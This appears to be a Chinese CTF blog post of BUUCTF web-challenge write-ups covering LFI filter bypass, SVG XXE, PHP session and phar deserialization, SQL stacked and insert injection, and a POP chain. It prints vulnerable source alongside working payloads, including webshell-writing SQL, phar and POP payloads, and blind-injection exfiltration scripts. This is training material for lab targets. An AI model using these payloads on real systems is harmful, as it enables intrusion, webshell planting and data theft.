//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
if(!isset($_GET['page']) || $_GET['page'] === ''){
$page = 'info';
}else {
$page = $_GET['page'];
}
}
else{
if(!isset($_GET['page'])|| $_GET['page'] === ''){
$page = 'guest';
}else {
$page = $_GET['page'];
if($page === 'info')
{
// echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
Header("Location: user.php?page=guest");
}
}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
// $page = 'info';
//}
include "$page.php";
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$OPERATE = array('userinfo','upload','search');
$OPERATE_admin = array('userinfo','upload','search','manage');
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "Nu1LCTF2018!@#qwe";
//$DBPASS = "";
$DBNAME = "N1CTF";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
if(mysqli_connect_errno()){
echo "no sql connection".mysqli_connect_error();
$mysqli=null;
die();
}
?

审计完之后发现有几个可疑的名字:
image.png
首先info我们知道就是跳转界面中的admin面板,但是需要权限,然后flag和ffffllllaaaaggg文件我们直接读是不行的,因为有waf,但是waf中判断query用的是parse_url函数,并且题目php版本为5.5.9,直接就看出来是parse_url的解析错误了:
[http://623a53a9-0182-443c-a06e-b7e805fbe041.node4.buuoj.cn:81//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg](http://623a53a9-0182-443c-a06e-b7e805fbe041.node4.buuoj.cn:81///user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg)
这样parse解析时就会返回false从而绕过,也是成功读取:
image.png
继续读取m4aaannngggeee.php:
image.png
我们直接访问m4aaannngggeee.php:
image.png
发现了一个文件上传点,传点东西抓包:
image.png
看到了upload文件,读取一波:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success
";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
}
?>

有2个地方需要注意,第一就是文件后缀名白名单,如果不在白名单里将会直接删除文件,第二个就是有危险函数system,审视一番就知道在文件名处可以命令执行,由于不能让move_uploaded_file报错,所以文件名里不能有/这种路径字符,所以最后的payload:
image.png

[BSidesCF 2019]SVGMagic

考点:SVG中的XXE
SVG是基于XML的矢量图,语法和xml类似:
image.png
https://www.ruanyifeng.com/blog/2018/08/svg.html
前面说了SVG是基于XML的矢量图,因此可以支持Entity(实体)功能,因此可以用来XXE。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///etc/passwd" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>

保存然后提交就可以读取到passwd,由于不知道flag在那个路径,可以通过/proc/self/cwd/flag,/proc/self/cwd/flag.txt来慢慢猜,最后是flag.txt文件:
image.png

[LCTF2018]bestphp’s revenge

考点:原生Soap类的SSRF,session反序列化,变量覆盖等等

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

代码简短的不能再简短了,可当我做的时候就发现有点怪,就是卡在最后一步怎么样也想不出来怎么去RCE,可能根本就不能RCE,也是直接去看了WP,发现是一个SSRF,属实没想到(由于BUUCTF不让扫就很难受,所以我就一般不扫目录),结果扫目录后发现有个flag.php:

1
only localhost can get flag!session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag!

要本地用户访问了之后会让session中多一个flag,从而获取flag
到这里思路就很清晰了,考的是SSRF,而能在这造成SSRF的也就只有原生类的SoapClient,通过触发call方法,来达到SSRF的目的,那我们又该怎么去触发并且获取回显呢?
这里就涉及到php_session的序列化和反序列化机制了,在讲session_upload_progress中也提到了,php有3种处理session的处理器php_binaryphp_serializephp

1
2
3
4
5
6
php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
//<0x04>names:5:"Smi1e";
php 键名+竖线(|)+经过serialize()函数处理过的值
//name|s:5:"Smi1e";
php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
//a:1:{s:4:"name";s:5:"Smi1e";}

三种处理器分别对应三种序列化规则,存入的时候是序列化存入,而解析时,也就是反序列化解析,假如存入时用的是php_serialize处理器,而解析时用的是php处理器:
我们传入一个name:
$_SESSION['name']='|O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}';
存入的session内容为:
a:1:{s:4:"name";s:5:"|O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}";}
然后用php引擎去解析的时候就会把a:1:{s:4:"name";s:5:"当成键名,O:5:"Smi1e":1:{s:4:"test";s:3:"AAA";}";}当做键值,从而恶意篡改
在这里也是同样的道理,我们首先让处理器变为php_serialize
image.png
然后再遍历覆盖b,再次调用call_user_func方法,这里的$a数组就是array("SoapClient","welcome_xxxx")
image.png
call_user_func是允许传入数组来调用方法的,而这里刚好就触发了SoapClient的__call魔术方法,从而SSRF,返回的时候由于是php处理器,所以把结果解析出来了,得到了PHPSESSID之后访问index.php即可获得flag

[GYCTF2020]Ez_Express

考点:ejs模板污染
image.png
题目的逻辑是要用ADMIN去登录,但是注册账号的时候admin被ban了,因此需要绕过,发现www.zip泄露,下下来看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
function safeKeyword(keyword) {
if(keyword.match(/(admin)/is)) {
return keyword
}

return undefined
}

router.get('/', function (req, res) {
if(!req.session.user){
res.redirect('/login');
}
res.outputFunctionName=undefined;
res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
res.render('login');
});



router.post('/login', function (req, res) {
if(req.body.Submit=="register"){
if(safeKeyword(req.body.userid)){
res.end("<script>alert('forbid word');history.go(-1);</script>")
}
req.session.user={
'user':req.body.userid.toUpperCase(),
'passwd': req.body.pwd,
'isLogin':false
}
res.redirect('/');
}
else if(req.body.Submit=="login"){
if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
req.session.user.isLogin=true;
}
else{
res.end("<script>alert('error passwd');history.go(-1);</script>")
}

}
res.redirect('/'); ;
});
router.post('/action', function (req, res) {
if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
console.log(req.body);
req.session.user.data = clone(req.body);
console.log({}.__proto__);
res.end("<script>alert('success');history.go(-1);</script>");
});
router.get('/info', function (req, res) {
res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

处理逻辑如上,再注册之后会用toUpperCase()去将名称转换为大写,而这里就是这一题的突破口,可以通过JS的大小写特性绕过:
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'
因此用户名输入ADMıN即可成功注册,绕过第一道坎,这和unicode欺骗有点像其实
image.png抓个包儿:
image.png
从源码中也可以看到有个原型链污染,也就是ejs了:
image.png
直接反弹shell:
image.png

[SUCTF 2018]MultiSQL

考点:数字型,过滤or的SQL堆叠注入
一开始我没想出来ban了or和and能干啥,我忘掉了^、|、&这三个特殊字符,失策失策
image.png
一开始有个登录注册,这里其实也有个注入点,存在的是二次注入,在登录的时候触发,而在查询界面也有个字符型sql注入:
image.png
使用异或就可以进行一个盲注,这里也可以写脚本把user跑出来,database就不行(ban了)
既然是字符型,而且没过滤分号,那就大概率可堆叠注入,事实证明也是可以的,扫描出来一个目录favicon,但是里面啥也没有,估计就是只有这个文件夹有写入的权限,我们可以这样写shell:
?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,49,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,98,111,111,103,105,112,111,112,46,112,104,112,39);prepare boogipop from @sql;execute boogipop;-- -
上述sql可以用脚本写出:

1
2
3
4
5
6
7
8
9
10
11
12
13
sql="select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/favicon/boogipop.php'"
res=''
i=0
for word in sql:
i += 1
if i!=len(sql):
word=str(ord(word))
res+=word+","
else:
word=str(ord(word))
res+=word
true_res=f"char({res})"
print(true_res)

然后直接去读flag即可

对于第二个注入点,没啥讲究,貌似没用,标题唬人用的
wp中是先用load_file("hex of filename")去读取源代码,发现用的是mysqli_multi_query()执行的,说明可以堆叠注入

[安洵杯 2019]不是文件上传

考点:反序列化+SQL注入+代码审计
这题非常好玩儿~根据官方是说开局给了三个文件(buu没给)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
<?php
class helper {
protected $folder = "pic/";
protected $ifview = False;
protected $config = "config.txt";
// The function is not yet perfect, it is not open yet.

public function upload($input="file")
{
$fileinfo = $this->getfile($input);
$array = array();
$array["title"] = $fileinfo['title'];
$array["filename"] = $fileinfo['filename'];
$array["ext"] = $fileinfo['ext'];
$array["path"] = $fileinfo['path'];
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);
$id = $this->save($array);
if ($id == 0){
die("Something wrong!");
}
echo "<br>";
echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
}

public function getfile($input)
{
if(isset($input)){
$rs = $this->check($_FILES[$input]);
}
return $rs;
}

public function check($info)
{
$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename);
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}

public function save($data)
{
if(!$data || !is_array($data)){
die("Something wrong!");
}
$id = $this->insert_array($data);
return $id;
}

public function insert_array($data)
{
$con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
if (mysqli_connect_errno($con))
{
die("Connect MySQL Fail:".mysqli_connect_error());
}
$sql_fields = array();
$sql_val = array();
foreach($data as $key=>$value){
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
mysqli_query($con, $sql);
$id = mysqli_insert_id($con);
mysqli_close($con);
return $id;
}

public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}

function __destruct(){
# Read some config html
$this->view_files($this->config);
}
}

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<!DOCTYPE html>
<html>
<head>
<title>Show Images</title>
<link rel="stylesheet" href="./style.css">
<meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>

<h2 align="center">Your images</h2>
<p>The function of viewing the image has not been completed, and currently only the contents of your image name can be saved. I hope you can forgive me and my colleagues and I are working hard to improve.</p>
<hr>

<?php
include("./helper.php");
$show = new show();
if($_GET["delete_all"]){
if($_GET["delete_all"] == "true"){
$show->Delete_All_Images();
}
}
$show->Get_All_Images();

class show{
public $con;

public function __construct(){
$this->con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
if (mysqli_connect_errno($this->con)){
die("Connect MySQL Fail:".mysqli_connect_error());
}
}

public function Get_All_Images(){
$sql = "SELECT * FROM images";
$result = mysqli_query($this->con, $sql);
if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
}
}else{
echo "<p>You have not uploaded an image yet.</p>";
}
mysqli_close($this->con);
}

public function Delete_All_Images(){
$sql = "DELETE FROM images";
$result = mysqli_query($this->con, $sql);
}
}
?>

<p><a href="show.php?delete_all=true">Delete All Images</a></p>
<p><a href="upload.php">Upload Images</a></p>

</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<!DOCTYPE html>
<html>
<head>
<title>Image Upload</title>
<link rel="stylesheet" href="./style.css">
<meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>
<p align="center"><img src="https://i.loli.net/2019/10/06/i5GVSYnB1mZRaFj.png" width=300 length=150></p>
<div align="center">
<form name="upload" action="" method="post" enctype ="multipart/form-data" >
<input type="file" name="file">
<input type="Submit" value="submit">
</form>
</div>

<br>
<p><a href="./show.php">You can view the pictures you uploaded here</a></p>
<br>

<?php
include("./helper.php");
class upload extends helper {
public function upload_base(){
$this->upload();
}
}

if ($_FILES){
if ($_FILES["file"]["error"]){
die("Upload file failed.");
}else{
$file = new upload();
$file->upload_base();
}
}

$a = new helper();
?>
</body>
</html>

关键文件是helper.php,因为另外2个文件都包含或者是继承自这个文件,我们审计一下:
一眼望过去首先就能发现执行sql的insert语句时,没加任何过滤,这里肯定有个注入
image.png
然后我注意到了有serialize和unserialize函数:
image.png
这时候就该思考起是不是反序列化了,在这之前先看一下整个程序的处理逻辑:
image.png
首先是upload函数,对上传文件进行处理,期间调用了getfilesave一个个看过去:
image.png
getfile又调用了check:
image.png
在check对文件后缀名进行了白名单判断,同时处理了文件名,但是他多返回了一个本应没必要的东西,也就是title,在这里title就是文件原本的名字
也就是说我们可以自由控制title参数的内容,也就可以进行注入了,这里当然可以进行sql注入,但是看到了unserialize之后直觉告诉我flag不在数据库中,因此应该想办法去读一下flag,flag假如有的话肯定只能在/flag下,同时在代码中提示我们有个未完成的危险函数:
image.png
只需要通过析构函数去调用view_files就可以通过反序列化去读取文件
思路就出来了,利用insert注入修改$array["attr"]的值为自定义序列化字符串,然后再show界面通过unserialize反序列化触发
可以开始构造序列化字符串了:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class helper
{
protected $folder ;
protected $ifview = true;
protected $config = "/flag";
}
$a=new helper();
echo serialize($a);
$b=serialize($a);

?>

这里属性是protected类型,从源码中也可以看到一段对%00进行处理的代码:
image.png
这里是处理序列化字符串中有%00,也是为我们考虑了,这里写个脚本发包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import binascii
from urllib.parse import *
#Boogipop
url="http://913b2c6f-66ca-4dcd-bbf3-df235664bbc8.node4.buuoj.cn:81/upload.php"
dirty_content='O:6:"helper":3:{s:9:" * folder";N;s:9:" * ifview";b:1;s:9:" * config";s:5:"/flag";}'
dirty_content=dirty_content.replace(" ",chr(0)).encode("utf-8")
dirty_content="0x"+binascii.b2a_hex(bytes(dirty_content)).decode("utf-8")
filename="{}',{},{},{},{})#.png".format(dirty_content,dirty_content,dirty_content,dirty_content,dirty_content)
f=open("upload.png","rb+")
filecontent=f.read()
f.close()
print(filename)
file=[('file',(filename,filecontent,'image/png'))]
r1=requests.post(url=url,files=file)
print(r1.text)

由于文件名里不能有双引号,如果有双引号的话会直接URL编码,编码之后unserialize就识别不了了,因此我们改为十六进制,发完后就可获得flag

[RoarCTF 2019]Online Proxy

考点:Insert注入
首先放上源码:
然后就是思路了:
image.png
在源代码中显示了ip,这是由x-forwarded-for来控制的,经过测试可以发现存在sql盲注,0'|123|'0,这里利用按位与与0运算后为本身进行盲注,先输入0'|123|'0,然后输入两次111,就可以发现返回了123
在这里后台逻辑判断应该是会把我们新的ip插入到后台,然后再次输入不同ip时,把插入结果回显出来
有一些UP觉得这是sql二次注入,看了源码后其实就是一个insert盲注
然后这里为了避免后台报错,我们将结果转成十进制回显出来,这里贴一个自己写的脚本(写脚本能力有待提高):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import re
import base64
#Author: Boogipop
s=requests.session();
url="http://node4.buuoj.cn:27758/"
def get_len(sql):
payload = "0'|length((" + sql + "))|'0"
s.get(url, headers={"X-Forwarded-For": payload})
s.get(url, headers={"X-Forwarded-For": "Boogipop"})
r = s.get(url, headers={"X-Forwarded-For": "Boogipop"})
content = r.text
print(content)
res = re.findall("Last Ip: (.*) -->", content)
print(res)
return int(res[0])
def executesql(sql):
result = ''
for i in range(1,get_len(sql)+1,5):
payload="0'|conv(hex(substr(("+sql+f"),{i},5)),16,10)|'0"
print(payload)
s.get(url,headers={"X-Forwarded-For":payload})
s.get(url,headers={"X-Forwarded-For":"Boogipop"})
r=s.get(url,headers={"X-Forwarded-For":"Boogipop"})
content=r.text
res=re.findall("Last Ip: (.*) -->",content)
res=int(res[0])
res=hex(res)
result+=str(bytes.fromhex((res.upper())[2:]).decode("utf-8"))
print(result)
if __name__ == '__main__':
# sql="select version()"
sql='select group_concat(schema_name ) from information_schema.schemata '
#information_schema,ctftraining,mysql,performance_schema,test,ctf,F4l9_D4t4B45e
sql="select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e'"
sql="select group_concat(column_name ) from information_schema.columns where table_name='F4l9_t4b1e'"
sql="select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e"
executesql(sql)

上述脚本处理逻辑中,为什么要用substr呢?因为返回的字符串太长,转换为10进制后,python无法还原QWQ(会出现0xffffffffff爆满),当然你可以在mysql中还原,但是为了脚本的完整性,还是截取了一下
image.png

[GXYCTF2019]BabysqliV3.0

考点:爆破,phar反序列化
看到登录框,和小丑一样的我居然在想能不能sql注入,我真的是谢谢你了
image.png
爆破得出admin/password
接下来进入home.php
image.png
看到url上有敏感的文件包含点,测试发现只可以包含upload.php,包含其他文件后缀名会被修改为fxxxk,可以用filter读一下upload文件的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<form action="" method="post" enctype="multipart/form-data">
上传文件
<input type="file" name="file" />
<input type="submit" name="submit" value="上传" />
</form>

<?php
error_reporting(0);
class Uploader{
public $Filename;
public $cmd;
public $token;


function __construct(){
$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
$ext = ".txt";
@mkdir($sandbox, 0777, true);
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
$this->Filename = $_GET['name'];
}
else{
$this->Filename = $sandbox.$_SESSION['user'].$ext;
}

$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
$this->token = $_SESSION['user'];
}

function upload($file){
global $sandbox;
global $ext;

if(preg_match("[^a-z0-9]", $this->Filename)){
$this->cmd = "die('illegal filename!');";
}
else{
if($file['size'] > 1024){
$this->cmd = "die('you are too big (′▽`〃)');";
}
else{
$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}
}

function __toString(){
global $sandbox;
global $ext;
// return $sandbox.$this->Filename.$ext;
return $this->Filename;
}

function __destruct(){
if($this->token != $_SESSION['user']){
$this->cmd = "die('check token falied!');";
}
eval($this->cmd);
}
}

if(isset($_FILES['file'])) {
$uploader = new Uploader();
$uploader->upload($_FILES["file"]);
if(@file_get_contents($uploader)){
echo "下面是你上传的文件:<br>".$uploader."<br>";
echo file_get_contents($uploader);
}
}

?>

代码很短,一看就知道是phar反序列化,首先我们需要上传我们的phar文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Uploader{
public $Filename;
public $cmd='eval($_POST[1]);';
public $token='GXY6d2059a9252630584f3187332dc19abb';
}
$a=new Uploader();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

这里的token我们可以随便上传一个文件,然后就拿到了,页面会回显上传目录,而所在文件夹的名字就是token,接下里就上传phar文件,这里同时传入name参数:
image.png
我们需要指定绝对路径,之后再上传一个名字为:phar:///var/www/html/uploads/6343aa0aa076a6547c767ad0a1cd9242/phar.phar的文件,触发phar反序列化即可:
image.png

[SUCTF 2018]annonymous

考点:PHP匿名函数

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);

目的是调用到SUCTF_$hash()这个方法,而这个方法又在一个匿名函数里,PHP里匿名函数的名字有如下规则:

1
2
3
#define LAMBDA_TEMP_FUNCNAME  "__lambda_func"/* {{{ proto string create_function(string args, string code)   Creates an anonymous function, and returns its name (funny, eh?) */ZEND_FUNCTION(create_function){ ..省略..
function_name = zend_string_alloc(sizeof("0lambda_")+MAX_LENGTH_OF_LONG, 0); ZSTR_VAL(function_name)[0] = '\0';
do { ZSTR_LEN(function_name) = snprintf(ZSTR_VAL(function_name) + 1, sizeof("lambda_")+MAX_LENGTH_OF_LONG, "lambda_%d", ++EG(lambda_count)) + 1; } while (zend_hash_add_ptr(EG(function_table), function_name, func) == NULL); RETURN_NEW_STR(function_name); } else { zend_hash_str_del(EG(function_table), LAMBDA_TEMP_FUNCNAME, sizeof(LAMBDA_TEMP_FUNCNAME)-1); RETURN_FALSE; }}

上面的源代码中,我们可以看到create_function函数的返回值为\x00lambda_%d,并且实际的本地测试显示匿名函数最终以\x00lambda_1,\x00lambda_2等字符串形式返回。
payload:?func_name=%00lambda_1

[EIS 2019]EzPOP

考点:file_put_contents死亡绕过+套娃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
<?php
error_reporting(0);

class A {

protected $store;

protected $key;

protected $expire;

public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}

public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);

foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}

return $contents;
}

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);

return json_encode([$cleaned, $this->complete]);
}

public function save() {
$contents = $this->getForStorage();

$this->store->set($this->key, $contents, $this->expire);
}

public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}

class B {

protected function getExpireTime($expire): int {
return (int) $expire;
}

public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}

protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}

$serialize = $this->options['serialize'];

return $serialize($data);
}

public function set($name, $value, $expire = null): bool{
$this->writeTimes++;

if (is_null($expire)) {
$expire = $this->options['expire'];
}

$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

if ($result) {
return true;
}

return false;
}

}

if (isset($_GET['src']))
{
highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);

入口在save()中的set,可以调用到B类的set方法,之后就是死亡函数绕过了,他太能套了,导致我没有写wp的欲望,byd
POC:O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A10%3A%22writeTimes%22%3Bi%3A0%3Bs%3A7%3A%22options%22%3Ba%3A3%3A%7Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A67%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Duploads%2Fshell.php%22%3Bs%3A9%3A%22serialize%22%3Bs%3A6%3A%22strval%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A0%3A%22%22%3Bs%3A9%3A%22%00%2A%00expire%22%3Bi%3A0%3Bs%3A8%3A%22autosave%22%3Bb%3A0%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A43%3A%22aaaPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4%3D%22%3B%7D
/upload/shell.php
密码cmd

[GWCTF 2019]mypassword

考点:XSS CSP
https://www.cnblogs.com/rabbittt/p/13385787.html

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#BUUCTF#刷题记录